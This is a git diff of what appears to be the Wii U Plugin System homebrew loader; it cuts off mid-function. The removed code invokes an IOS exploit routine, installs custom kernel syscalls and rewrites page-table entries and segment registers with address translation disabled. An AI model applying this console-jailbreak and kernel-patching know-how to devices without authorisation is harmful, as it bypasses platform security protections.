-	size_t cnt, dsz, fsz, msz;
-	uintptr_t sb, se, db, de;
-
-	if (encoding == ELFDATANONE)
-		encoding = LIBELF_PRIVATE(byteorder);
-
-	if ((encoding != ELFDATA2LSB && encoding != ELFDATA2MSB) ||
-	    dst == NULL || src == NULL || dst == src)	{
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	assert(elfclass == ELFCLASS32 || elfclass == ELFCLASS64);
-	assert(direction == ELF_TOFILE || direction == ELF_TOMEMORY);
-
-	if (dst->d_version != src->d_version) {
-		LIBELF_SET_ERROR(UNIMPL, 0);
-		return (NULL);
-	}
-
-	if  (src->d_buf == NULL || dst->d_buf == NULL) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	if ((int) src->d_type < 0 || src->d_type >= ELF_T_NUM) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	if ((fsz = (elfclass == ELFCLASS32 ? elf32_fsize : elf64_fsize)
-	    (src->d_type, (size_t) 1, src->d_version)) == 0)
-		return (NULL);
-
-	msz = _libelf_msize(src->d_type, elfclass, src->d_version);
-
-	assert(msz > 0);
-
-	if (src->d_size % (direction == ELF_TOMEMORY ? fsz : msz)) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	/*
-	 * Determine the number of objects that need to be converted, and
-	 * the space required for the converted objects in the destination
-	 * buffer.
-	 */
-	if (direction == ELF_TOMEMORY) {
-		cnt = src->d_size / fsz;
-		dsz = cnt * msz;
-	} else {
-		cnt = src->d_size / msz;
-		dsz = cnt * fsz;
-	}
-
-	if (dst->d_size  <  dsz) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	sb = (uintptr_t) src->d_buf;
-	se = sb + src->d_size;
-	db = (uintptr_t) dst->d_buf;
-	de = db + dst->d_size;
-
-	/*
-	 * Check for overlapping buffers.  Note that db == sb is
-	 * allowed.
-	 */
-	if (db != sb && de > sb && se > db) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	if ((direction == ELF_TOMEMORY ? db : sb) %
-	    _libelf_malign(src->d_type, elfclass)) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	dst->d_type = src->d_type;
-	dst->d_size = dsz;
-
-	byteswap = encoding != LIBELF_PRIVATE(byteorder);
-
-	if (src->d_size == 0 ||
-	    (db == sb && !byteswap && fsz == msz))
-		return (dst);	/* nothing more to do */
-
-	if (!(_libelf_get_translator(src->d_type, direction, elfclass))
-	    (dst->d_buf, dsz, src->d_buf, cnt, byteswap)) {
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	return (dst);
-}
diff --git a/src/link.ld b/src/link.ld
deleted file mode 100644
index c6ed798..0000000
--- a/src/link.ld
+++ /dev/null
@@ -1,40 +0,0 @@
-OUTPUT(wiiupluginloader.elf);
-
-/* Tell linker where our application entry is so the garbage collect can work correct */
-ENTRY(__entry_menu);
-
-SECTIONS {
-	. = 0x00802000;
-	.text : {
-		*(.kernel_code*);
-		*(.text*);
-		/* Tell linker to not garbage collect this section as it is not referenced anywhere */
-		KEEP(*(.kernel_code*));
-	}
-	.rodata : {
-		*(.rodata*);
-	}
-	.data : {
-		*(.data*);
-
-		__sdata_start = .;
-		*(.sdata*);
-		__sdata_end = .;
-
-		__sdata2_start = .;
-		*(.sdata2*);
-		__sdata2_end = .;
-	}
-	.bss : {
-		__bss_start = .;
-		*(.bss*);
-		*(.sbss*);
-		*(COMMON);
-		__bss_end = .;
-	}
-	__CODE_END = .;
-
-	/DISCARD/ : {
-		*(*);
-	}
-}
diff --git a/src/main.cpp b/src/main.cpp
index 26b110a..dd3359b 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -1,328 +1,60 @@
-#include <string>
-#include <vector>
-#include <string.h>
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdarg.h>
-#include <stdio.h>
-#include <malloc.h>
-#include <sys/types.h>
-#include <dirent.h>
-
-#include <sys/stat.h>
-#include <unistd.h>
-
-#include <dynamic_libs/os_functions.h>
-#include <dynamic_libs/gx2_functions.h>
-#include <dynamic_libs/ax_functions.h>
-#include <dynamic_libs/socket_functions.h>
-#include <dynamic_libs/sys_functions.h>
-#include <dynamic_libs/fs_functions.h>
-#include <dynamic_libs/nn_nim_functions.h>
-#include <dynamic_libs/vpad_functions.h>
-#include <dynamic_libs/padscore_functions.h>
-#include <dynamic_libs/proc_ui_functions.h>
-
-#include <fs/FSUtils.h>
-#include <fs/sd_fat_devoptab.h>
-#include <utils/logger.h>
-#include <utils/utils.h>
-#include <utils/function_patcher.h>
-#include <system/exception_handler.h>
-#include <system/memory.h>
-
-#include <kernel/kernel_utils.h>
-#include <mykernel/kernel_utils.h>
-
-#include "mymemory/memory_mapping.h"
-
-#include "common/retain_vars.h"
-#include "common/common.h"
+#include <nsysnet/socket.h>
+#include <coreinit/ios.h>
+#include <sysapp/launch.h>
+#include "Application.h"
+#include "system/memory.h"
+#include "utils/logger.h"
+#include "utils/utils.h"
+#include "utils/ipcclient.h"
 #include "plugin/PluginLoader.h"
 #include "plugin/PluginInformation.h"
-#include "plugin/DynamicLinkingHelper.h"
-
-#include <wups.h>
-#include <iosuhax.h>
-#include <fat.h>
-#include <ntfs.h>
-
-#include "main.h"
-#include "utils.h"
-#include "Application.h"
-#include "patcher/function_patcher.h"
-#include "patcher/hooks_patcher.h"
-#include "patcher/hooks_patcher_static.h"
-#include "plugin/dynamic_linking_defines.h"
-#include "myutils/mem_utils.h"
-#include "myutils/mocha.h"
-#include "myutils/libntfs.h"
-#include "myutils/libfat.h"
-#include "myutils/overlay_helper.h"
-#include "myutils/ConfigUtils.h"
-#include "version.h"
-#include "settings/CSettings.h"
-
-static void ApplyPatchesAndCallHookStartingApp();
-static void RestorePatches();
-int32_t isInMiiMakerHBL();
-void readAndPrintSegmentRegister(CThread *thread, void *arg);
-
-extern "C" int32_t Menu_Main(int32_t argc, char **argv) {
-    if(gAppStatus == 2) {
-        //"No, we don't want to patch stuff again.");
-        return EXIT_RELAUNCH_ON_LOAD;
-    }
-
-    InitOSFunctionPointers();
-    InitSocketFunctionPointers(); //For logging
-    InitSysFunctionPointers();
-    InitFSFunctionPointers();
-    InitGX2FunctionPointers();
-    InitSysFunctionPointers();
-    InitVPadFunctionPointers();
-    InitPadScoreFunctionPointers();
-    InitAXFunctionPointers();
-    InitProcUIFunctionPointers();
 
+/* Entry point */
+extern "C" int Menu_Main(int32_t argc, char **argv) {
+    //!*******************************************************************
+    //!                   Initialize function pointers                   *
+    //!*******************************************************************
+    socket_lib_init();
+    //! do OS (for acquire) and sockets first so we got logging
     log_init();
 
-    DEBUG_FUNCTION_LINE("We have %d kb for plugins.\n",(PLUGIN_LOCATION_END_ADDRESS-getApplicationEndAddr())/1024);
-    //setup_os_exceptions();
+    log_print("Initialize memory management\n");
+    memoryInitialize();
 
-    DEBUG_FUNCTION_LINE("Wii U Plugin System Loader %s\n",APP_VERSION);
-    DEBUG_FUNCTION_LINE("Sizeof dyn_linking_relocation_data_t %d\n",sizeof(dyn_linking_relocation_data_t));
-    Init();
-
-    init_kernel_syscalls();
-    wups_init_kernel_syscalls();
-
-    if(!MemoryMapping::isMemoryMapped()) {
-        MemoryMapping::setupMemoryMapping();
-    }
-
-    gGameTitleID = OSGetTitleID();
-
-    g_vid_ownContextState = NULL;
-    g_vid_originalContextSave = NULL;
-
-    int32_t result = 0;
-
-    //Reset everything when were going back to the Mii Maker
-    if(isInMiiMakerHBL()) {
-        CallHook(WUPS_LOADER_HOOK_DEINIT_PLUGIN);
-        // Restore patches as the patched functions could change.
-        RestorePatches();
-
-        DynamicLinkingHelper::getInstance()->clearAll();
-
-        //PluginLoader * pluginLoader  = PluginLoader::getInstance();
-        //std::vector<PluginInformation *> pluginList = pluginLoader->getPluginInformation("sd:/wiiu/plugins/");
-        //pluginLoader->loadAndLinkPlugins(pluginList);
-        //pluginLoader->clearPluginInformation(pluginList);
-
-        //!*******************************************************************
-        //!                    Initialize heap memory                        *
-        //!*******************************************************************
-        DEBUG_FUNCTION_LINE("Initialize memory management\n");
-        memoryInitialize();
-
-        DEBUG_FUNCTION_LINE("Start main application\n");
-        result = Application::instance()->exec();
-        DEBUG_FUNCTION_LINE("Main application stopped result: %d\n",result);
-
-        DEBUG_FUNCTION_LINE("Application::destroyInstance\n");
-        Application::destroyInstance();
-
-        DEBUG_FUNCTION_LINE("Release memory\n");
-        memoryRelease();
-        CSettings::destroyInstance();
-        PluginLoader::destroyInstance();
-
-        MemoryUtils::init();
-
-        // Memory on custon heap is reset anyway so we don't need to free the image buffers.
-        memset((void*)&g_vid_main_cbuf,0,sizeof(g_vid_main_cbuf));
-        memset((void*)&g_vid_drcTex,0,sizeof(g_vid_drcTex));
-        memset((void*)&g_vid_tvTex,0,sizeof(g_vid_tvTex));
-        g_vid_originalContextSave = NULL;
-        g_vid_ownContextState = NULL;
-        g_NotInLoader = false;
-    } else {
-        g_NotInLoader = true;
-    }
-
-    DEBUG_FUNCTION_LINE("Patch own stuff\n");
-    PatchInvidualMethodHooks(method_hooks_hooks_static, method_hooks_size_hooks_static, method_calls_hooks_static);
-
-    DEBUG_FUNCTION_LINE("Do relocations\n");
-
-    std::vector<dyn_linking_relocation_entry_t *> relocations = DynamicLinkingHelper::getInstance()->getAllValidDynamicLinkingRelocations();
-    DEBUG_FUNCTION_LINE("Found relocation information for %d functions\n",relocations.size());
-
-    if(!DynamicLinkingHelper::getInstance()->fillRelocations(relocations)) {
-        OSFatal("fillRelocations failed.");
-    }
-
-    if(!isInMiiMakerHBL()) {
-        DEBUG_FUNCTION_LINE("Apply patches.\n");
-        ApplyPatchesAndCallHookStartingApp();
-
-        if(MemoryMapping::isMemoryMapped()) {
-            DEBUG_FUNCTION_LINE("Mapping was already done. Running %016llX\n",gGameTitleID);
-            readAndPrintSegmentRegister(NULL,NULL);
-            //MemoryMapping::readTestValuesFromMemory();
-        } else {
-            DEBUG_FUNCTION_LINE("<-----------------------------------------------------> \n");
-            DEBUG_FUNCTION_LINE("<---------------- COPY PASTE ME START-----------------> \n");
-            DEBUG_FUNCTION_LINE("<-----------------------------------------------------> \n");
-            DEBUG_FUNCTION_LINE("Mapping was't done. Running %016llX\n",gGameTitleID);
-            readAndPrintSegmentRegister(NULL,NULL);
-            DEBUG_FUNCTION_LINE("<-----------------------------------------------------> \n");
-            DEBUG_FUNCTION_LINE("<----------------- COPY PASTE ME END -----------------> \n");
-            DEBUG_FUNCTION_LINE("<-----------------------------------------------------> \n");
+    /*PluginLoader * loader = PluginLoader::createInstance(0x00A00000, 0x01000000);
+    if(loader != NULL) {
+        std::vector<PluginInformation*> plugins = loader->getPluginsByPath("sd:/wiiu/plugins3/");
+        uint32_t counter = 0;
+        for (std::vector<PluginInformation *>::iterator it = plugins.begin() ; it != plugins.end(); ++it) {
+            PluginInformation * curPlugin = *it;
+            DEBUG_FUNCTION_LINE("Found plugin %d: %s\n",counter, curPlugin->getPath().c_str());
+            counter++;
         }
-        return EXIT_RELAUNCH_ON_LOAD;
-    }
+        loader->loadAndLinkPlugins(plugins);
+        loader->clearPluginInformation(plugins);
+        plugins.clear();
 
-    if(result == APPLICATION_CLOSE_APPLY || result == APPLICATION_CLOSE_APPLY_MEMORY) {
-        CallHook(WUPS_LOADER_HOOK_INIT_VID_MEM);
-        CallHook(WUPS_LOADER_HOOK_INIT_KERNEL);
-        CallHook(WUPS_LOADER_HOOK_INIT_FS);
-        CallHook(WUPS_LOADER_HOOK_INIT_OVERLAY);
-        ConfigUtils::loadConfigFromSD();
-        CallHook(WUPS_LOADER_HOOK_INIT_PLUGIN);
-        DEBUG_FUNCTION_LINE("Loading the system menu.\n");
-        DeInit();
-        SYSLaunchMenu();
-        return EXIT_RELAUNCH_ON_LOAD;
-    }
+        std::vector<PluginInformation*> pluginsInMemory = loader->getPluginsLoadedInMemory();
+        counter = 0;
+        for (std::vector<PluginInformation *>::iterator it = pluginsInMemory.begin() ; it != pluginsInMemory.end(); ++it) {
+            PluginInformation * curPlugin = *it;
+            DEBUG_FUNCTION_LINE("Is loaded %d: %s\n",counter, curPlugin->getPath().c_str());
+            counter++;
+        }
 
-    DEBUG_FUNCTION_LINE("Let's go to back to the Homebrew Launcher\n");
-    DEBUG_FUNCTION_LINE("Restoring the patched functions\n");
-    RestorePatches();
-    DEBUG_FUNCTION_LINE("Calling the plugin deinit hook\n");
-    //CallHook(WUPS_LOADER_HOOK_DEINIT_PLUGIN);
-    DEBUG_FUNCTION_LINE("Unmounting SD/USB devices\n");
-    DeInit();
-    DEBUG_FUNCTION_LINE("Bye bye!\n");
-    return EXIT_SUCCESS;
-}
+        loader->clearPluginInformation(pluginsInMemory);
 
-void ApplyPatchesAndCallHookStartingApp() {
-    PatchInvidualMethodHooks(method_hooks_hooks_static, method_hooks_size_hooks_static, method_calls_hooks_static);
-    PatchInvidualMethodHooks(method_hooks_hooks, method_hooks_size_hooks, method_calls_hooks);
-    for(int32_t plugin_index=0; plugin_index<gbl_replacement_data.number_used_plugins; plugin_index++) {
-        CallHookEx(WUPS_LOADER_HOOK_STARTING_APPLICATION,plugin_index);
-        new_PatchInvidualMethodHooks(&gbl_replacement_data.plugin_data[plugin_index]);
-        CallHookEx(WUPS_LOADER_HOOK_FUNCTIONS_PATCHED,plugin_index);
-    }
-}
+        delete loader;
+    }*/
 
-void DeInit() {
-    DeInit_SD_USB();
-}
+    //!*******************************************************************
+    //!                    Initialize heap memory                        *
+    //!*******************************************************************
 
-void RestorePatches() {
-    for(int32_t plugin_index=gbl_replacement_data.number_used_plugins-1; plugin_index>=0; plugin_index--) {
-        DEBUG_FUNCTION_LINE("Restoring function for plugin: %d\n",plugin_index);
-        new_RestoreInvidualInstructions(&gbl_replacement_data.plugin_data[plugin_index]);
-    }
-    RestoreInvidualInstructions(method_hooks_hooks, method_hooks_size_hooks);
-    RestoreInvidualInstructions(method_hooks_hooks_static, method_hooks_size_hooks_static);
-}
+    log_printf("Start main application\n");
+    Application::instance()->exec();
+
+    Application::destroyInstance();
 
-int32_t isInMiiMakerHBL() {
-    if (OSGetTitleID != 0 && (
-                OSGetTitleID() == 0x000500101004A200 || // mii maker eur
-                OSGetTitleID() == 0x000500101004A100 || // mii maker usa
-                OSGetTitleID() == 0x000500101004A000 ||// mii maker jpn
-                OSGetTitleID() == 0x0005000013374842)) {
-        return 1;
-    }
     return 0;
 }
-
-void Init() {
-    memset(&tv_store,0,sizeof(tv_store));
-    memset(&drc_store,0,sizeof(drc_store));
-    DEBUG_FUNCTION_LINE("Mount SD partition\n");
-    Init_SD_USB();
-}
-
-void Init_SD_USB() {
-    int32_t res = IOSUHAX_Open(NULL);
-    if(res < 0) {
-        ExecuteIOSExploitWithDefaultConfig();
-    }
-    deleteDevTabsNames();
-    mount_fake();
-    gSDInitDone |= WUPS_SDUSB_MOUNTED_FAKE;
-
-    if(res < 0) {
-        DEBUG_FUNCTION_LINE("IOSUHAX_open failed\n");
-        if((res = mount_sd_fat("sd")) >= 0) {
-            DEBUG_FUNCTION_LINE("mount_sd_fat success\n");
-            gSDInitDone |= WUPS_SDUSB_MOUNTED_OS_SD;
-        } else {
-            DEBUG_FUNCTION_LINE("mount_sd_fat failed %d\n",res);
-        }
-    } else {
-        DEBUG_FUNCTION_LINE("Using IOSUHAX for SD/USB access\n");
-        gSDInitDone |= WUPS_SDUSB_LIBIOSU_LOADED;
-        int32_t ntfs_mounts = mountAllNTFS();
-        if(ntfs_mounts > 0) {
-            gSDInitDone |= WUPS_USB_MOUNTED_LIBNTFS;
-        }
-
-        if(mount_libfatAll() == 0) {
-            gSDInitDone |= WUPS_SD_MOUNTED_LIBFAT;
-            gSDInitDone |= WUPS_USB_MOUNTED_LIBFAT;
-        }
-    }
-}
-
-void DeInit_SD_USB() {
-    DEBUG_FUNCTION_LINE("Called this function.\n");
-
-    if(gSDInitDone & WUPS_SDUSB_MOUNTED_FAKE) {
-        DEBUG_FUNCTION_LINE("Unmounting fake\n");
-        unmount_fake();
-        gSDInitDone &= ~WUPS_SDUSB_MOUNTED_FAKE;
-    }
-    if(gSDInitDone & WUPS_SDUSB_MOUNTED_OS_SD) {
-        DEBUG_FUNCTION_LINE("Unmounting OS SD\n");
-        unmount_sd_fat("sd");
-        gSDInitDone &= ~WUPS_SDUSB_MOUNTED_OS_SD;
-    }
-
-    if(gSDInitDone & WUPS_SD_MOUNTED_LIBFAT) {
-        DEBUG_FUNCTION_LINE("Unmounting LIBFAT SD\n");
-        unmount_libfat("sd");
-        gSDInitDone &= ~WUPS_SD_MOUNTED_LIBFAT;
-    }
-
-    if(gSDInitDone & WUPS_USB_MOUNTED_LIBFAT) {
-        DEBUG_FUNCTION_LINE("Unmounting LIBFAT USB\n");
-        unmount_libfat("usb");
-        gSDInitDone &= ~WUPS_USB_MOUNTED_LIBFAT;
-    }
-
-    if(gSDInitDone & WUPS_USB_MOUNTED_LIBNTFS) {
-        DEBUG_FUNCTION_LINE("Unmounting LIBNTFS USB\n");
-        unmountAllNTFS();
-        gSDInitDone &= ~WUPS_USB_MOUNTED_LIBNTFS;
-    }
-
-    if(gSDInitDone & WUPS_SDUSB_LIBIOSU_LOADED) {
-        DEBUG_FUNCTION_LINE("Calling IOSUHAX_Close\n");
-        IOSUHAX_Close();
-        gSDInitDone &= ~WUPS_SDUSB_LIBIOSU_LOADED;
-
-    }
-    deleteDevTabsNames();
-    if(gSDInitDone != WUPS_SDUSB_MOUNTED_NONE) {
-        DEBUG_FUNCTION_LINE("WARNING. Some devices are still mounted.\n");
-    }
-    DEBUG_FUNCTION_LINE("Function end.\n");
-}
diff --git a/src/main.h b/src/main.h
index 0495bfe..b803b16 100644
--- a/src/main.h
+++ b/src/main.h
@@ -1,5 +1,5 @@
 /****************************************************************************
- * Copyright (C) 2018 Maschell
+ * Copyright (C) 2018,2019 Maschell
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -18,26 +18,15 @@
 #ifndef _MAIN_H_
 #define _MAIN_H_
 
-#include <dynamic_libs/os_functions.h>
-#include <dynamic_libs/os_types.h>
-
+#include <stdint.h>
 /* Main */
 #ifdef __cplusplus
 extern "C" {
 #endif
 
-#include <libelf.h>
-
 //! C wrapper for our C++ functions
 int32_t Menu_Main(int32_t argc, char **argv);
 
-void Init_SD_USB();
-
-void DeInit_SD_USB();
-
-void Init();
-void DeInit();
-
 #ifdef __cplusplus
 }
 #endif
diff --git a/src/menu/MainWindow.cpp b/src/menu/MainWindow.cpp
index 5d1c6ab..eeb339d 100644
--- a/src/menu/MainWindow.cpp
+++ b/src/menu/MainWindow.cpp
@@ -15,12 +15,8 @@
  * You should have received a copy of the GNU General Public License
  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  ****************************************************************************/
-#include <dynamic_libs/os_functions.h>
-#include <dynamic_libs/socket_functions.h>
-#include <dynamic_libs/padscore_functions.h>
 #include <utils/StringTools.h>
 #include <utils/logger.h>
-#include "myutils/overlay_helper.h"
 #include "MainWindow.h"
 #include "MainWindowGUI.h"
 #include "Application.h"
diff --git a/src/menu/content/ContentHome.cpp b/src/menu/content/ContentHome.cpp
index 4c3ca03..4a071ee 100644
--- a/src/menu/content/ContentHome.cpp
+++ b/src/menu/content/ContentHome.cpp
@@ -16,9 +16,9 @@
  ****************************************************************************/
 #include "common/common.h"
 #include "ContentHome.h"
-#include "plugin/PluginLoader.h"
 #include "custom/gui/DefaultGuiSwitch.h"
 #include "Application.h"
+#include "plugin/PluginLoader.h"
 
 ContentHome::ContentHome():ContentTemplate()
     , welcomeHeadLineLabel(gettext("Welcome to the Wii U plugin loader"))
@@ -89,8 +89,13 @@ ContentHome::ContentHome():ContentTemplate()
     DPADButtons.clicked.connect(this, &ContentHome::OnDPADClick);
     append(&DPADButtons);
 
-    PluginLoader * pluginLoader  = PluginLoader::getInstance();
-    std::vector<PluginInformation *> pluginList = pluginLoader->getPluginInformation(WUPS_PLUGIN_PATH);
+    PluginLoader * pluginLoader = PluginLoader::createInstance(0x00A00000, 0x01000000);
+
+    std::vector<PluginInformation *> pluginList = pluginLoader->getPluginsByPath(WUPS_PLUGIN_PATH);
+    std::vector<PluginInformation *> autoboot_list =  pluginLoader->getPluginsByPath("sd:/wiiu/autoboot_plugins/");
+
+    pluginList.insert(pluginList.end(), autoboot_list.begin(), autoboot_list.end());
+
     std::vector<PluginInformation *> pluginListLoaded = pluginLoader->getPluginsLoadedInMemory();
 
     pluginsFrame.setAlignment(ALIGN_TOP_CENTER);
@@ -102,6 +107,7 @@ ContentHome::ContentHome():ContentTemplate()
     float frameheight = 50.0f;
     int32_t selectionMappingIndex = 0;
     selectionMappingMin = 0;
+
     for (std::vector<PluginInformation *>::iterator it = pluginList.begin() ; it != pluginList.end(); ++it) {
         PluginInformation * curPlugin = *it;
 
@@ -155,11 +161,13 @@ ContentHome::ContentHome():ContentTemplate()
         toDelete.push_back(right);
         toDelete.push_back(text);
     }
+
     selectionMappingMax = selectionMapping.size() -1;
     if(selectionMappingMax < 0) {
         selectionMappingMax = 0;
     }
 
+    //pluginLoader->clearPluginInformation(pluginList); // will be cleared in destructor.
     pluginLoader->clearPluginInformation(pluginListLoaded);
 
     append(&welcomeHeadLineLabel);
@@ -172,6 +180,7 @@ ContentHome::ContentHome():ContentTemplate()
 
     auto fp = std::bind(&ContentHome::linkPlugins, this);
     Application::instance()->setLinkPluginsCallback(fp);
+    this->loader = pluginLoader;
 }
 
 void ContentHome::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
@@ -220,12 +229,17 @@ bool ContentHome::linkPlugins() {
         GuiToggle * guiElement = x.first;
         if(guiElement->getValue()) {
             PluginInformation* pluginInformation = x.second;
-            DEBUG_FUNCTION_LINE("We want to link %s\n",pluginInformation->getName().c_str());
+            //DEBUG_FUNCTION_LINE("We want to link %s\n",pluginInformation->getName().c_str());
             willBeLoaded.push_back(pluginInformation);
         }
     }
+    if(loader != NULL) {
+
+        return this->loader->loadAndLinkPlugins(willBeLoaded);
+
+    }
+    return false;
 
-    return PluginLoader::getInstance()->loadAndLinkPlugins(willBeLoaded);
 }
 
 
@@ -268,4 +282,7 @@ ContentHome::~ContentHome() {
     for (std::vector<GuiElement *>::iterator it = toDelete.begin() ; it != toDelete.end(); ++it) {
         delete *it;
     }
+    if(loader != NULL) {
+        delete loader;
+    }
 }
diff --git a/src/menu/content/ContentHome.h b/src/menu/content/ContentHome.h
index ece7362..8ec79db 100644
--- a/src/menu/content/ContentHome.h
+++ b/src/menu/content/ContentHome.h
@@ -20,8 +20,10 @@
 #include "gui/Gui.h"
 #include "ContentTemplate.h"
 #include "language/gettext.h"
-#include "plugin/PluginInformation.h"
 #include "custom/gui/DefaultGuiSwitch.h"
+#include "plugin/PluginInformation.h"
+#include "plugin/PluginLoader.h"
+
 
 class ContentHome : public ContentTemplate {
 public:
@@ -66,6 +68,7 @@ private:
     GuiButton DPADButtons;
 
     GuiFrame pluginsFrame;
+    PluginLoader * loader = NULL;
 
     std::vector<GuiElement*> toDelete;
     void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
diff --git a/src/mocha b/src/mocha
deleted file mode 160000
index 74f723e..0000000
--- a/src/mocha
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 74f723e2ab5c77e6f79da2816114627a46ee9f2f
diff --git a/src/mykernel/kernel_defs.h b/src/mykernel/kernel_defs.h
deleted file mode 100644
index 47c187a..0000000
--- a/src/mykernel/kernel_defs.h
+++ /dev/null
@@ -1,30 +0,0 @@
-#ifndef __WUPS_KERNEL_DEFS_H_
-#define __WUPS_KERNEL_DEFS_H_
-
-#include <dynamic_libs/fs_functions.h>
-#include <dynamic_libs/os_types.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-typedef struct _sr_table_t {
-    uint32_t value[16];
-    uint32_t sdr1;
-} sr_table_t;
-
-typedef struct _bat_t {
-    uint32_t h;
-    uint32_t l;
-} bat_t;
-
-typedef struct _bat_table_t {
-    bat_t bat[8];
-} bat_table_t;
-
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // __KERNEL_DEFS_H_
diff --git a/src/mykernel/kernel_utils.c b/src/mykernel/kernel_utils.c
deleted file mode 100644
index 17b3e61..0000000
--- a/src/mykernel/kernel_utils.c
+++ /dev/null
@@ -1,181 +0,0 @@
-#include <dynamic_libs/os_defs.h>
-#include <dynamic_libs/os_functions.h>
-#include "kernel_defs.h"
-#include <kernel/syscalls.h>
-
-static void KernelReadSRs(sr_table_t * table) {
-    uint32_t i = 0;
-
-    // calculate PT_size ((end-start)*8/4096)*4 or (end-start)/128
-    // Minimum page table size is 64Kbytes.
-
-    asm volatile("eieio; isync");
-
-    asm volatile("mfspr %0, 25" : "=r" (table->sdr1));
-
-    asm volatile("mfsr %0, 0" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 1" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 2" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 3" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 4" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 5" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 6" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 7" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 8" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 9" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 10" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 11" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 12" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 13" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 14" : "=r" (table->value[i]));
-    i++;
-    asm volatile("mfsr %0, 15" : "=r" (table->value[i]));
-    i++;
-
-    asm volatile("eieio; isync");
-}
-
-static void KernelWriteSRs(sr_table_t * table) {
-    uint32_t i = 0;
-
-
-    asm volatile("eieio; isync");
-
-    // Writing didn't work for all at once so we only write number 8.
-    // TODO: fix this and change it if required.
-
-    /*asm volatile("mtsr 0, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 1, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 2, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 3, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 4, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 5, %0" : : "r" (table->value[i])); i++;*/
-    //asm volatile("mtsr 6, %0" : : "r" (table->value[6])); i++;
-    /*asm volatile("mtsr 7, %0" : : "r" (table->value[i])); i++;*/
-    asm volatile("mtsr 8, %0" : : "r" (table->value[8]));
-    i++;
-    /*asm volatile("mtsr 9, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 10, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 11, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 12, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 13, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 14, %0" : : "r" (table->value[i])); i++;
-    asm volatile("mtsr 15, %0" : : "r" (table->value[i])); i++;*/
-
-
-    asm volatile("isync");
-}
-
-void KernelReadPTE(uint32_t* dest, uint32_t size) {
-    uint32_t msr = 0;
-    uint32_t oldmsr = 0;
-    //TODO: Calculate from SDR1
-    uint32_t addr_base = 0xFFE20000;
-    asm volatile("mfmsr %0" : "=r" (msr));
-    oldmsr = msr;
-    msr &= ~0x10;
-    for(uint32_t i = 0; i<size/0x04; i++) {
-        uint32_t value_read = 0;
-        uint32_t addr = addr_base + (i*4);
-        // Disable Data address translation
-        asm volatile("mtmsr %0" : : "r" (msr));
-        __asm __volatile("lwz %0,0(%1)" : "=r"(value_read) : "r"(addr));
-        // Enable Data address translation
-        asm volatile("mtmsr %0" : : "r" (oldmsr));
-        dest[i] = value_read;
-    }
-}
-
-void KernelWritePTE(uint32_t * in_addr, uint32_t size) {
-    uint32_t msr = 0;
-    uint32_t oldmsr = 0;
-    //TODO: Calculate from SDR1
-    uint32_t addr_base = 0xFFE20000;
-    asm volatile("mfmsr %0" : "=r" (msr));
-    oldmsr = msr;
-    msr &= ~0x10;
-    for(uint32_t i = 0; i<size/0x04; i++) {
-        uint32_t addr = addr_base + (i*4);
-        uint32_t value = in_addr[i];
-        // Disable Data address translation
-        asm volatile("mtmsr %0" : : "r" (msr));
-        __asm __volatile("stw %0,0(%1)" : : "r"(value),"r"(addr));
-        // Enable Data address translation
-        asm volatile("mtmsr %0" : : "r" (oldmsr));
-    }
-}
-
-void KernelWriteWitoutDAT(uint32_t addr, uint32_t value) {
-    uint32_t msr = 0;
-    uint32_t oldmsr = 0;
-    //TODO: Calculate from SDR1
-    //uint32_t addr_base = 0xFFE20000;
-    asm volatile("mfmsr %0" : "=r" (msr));
-    oldmsr = msr;
-    msr &= ~0x10;
-    // Disable Data address translation
-    asm volatile("mtmsr %0" : : "r" (msr));
-    __asm __volatile("stw %0,0(%1)" : : "r"(value),"r"(addr));
-    // Enable Data address translation
-    asm volatile("mtmsr %0" : : "r" (oldmsr));
-}
-
-void SC0x0A_KernelWriteWitoutDAT(uint32_t addr,uint32_t value);
-
-void wups_init_kernel_syscalls() {
-    //! assign 1 so that this variable gets into the retained .data section
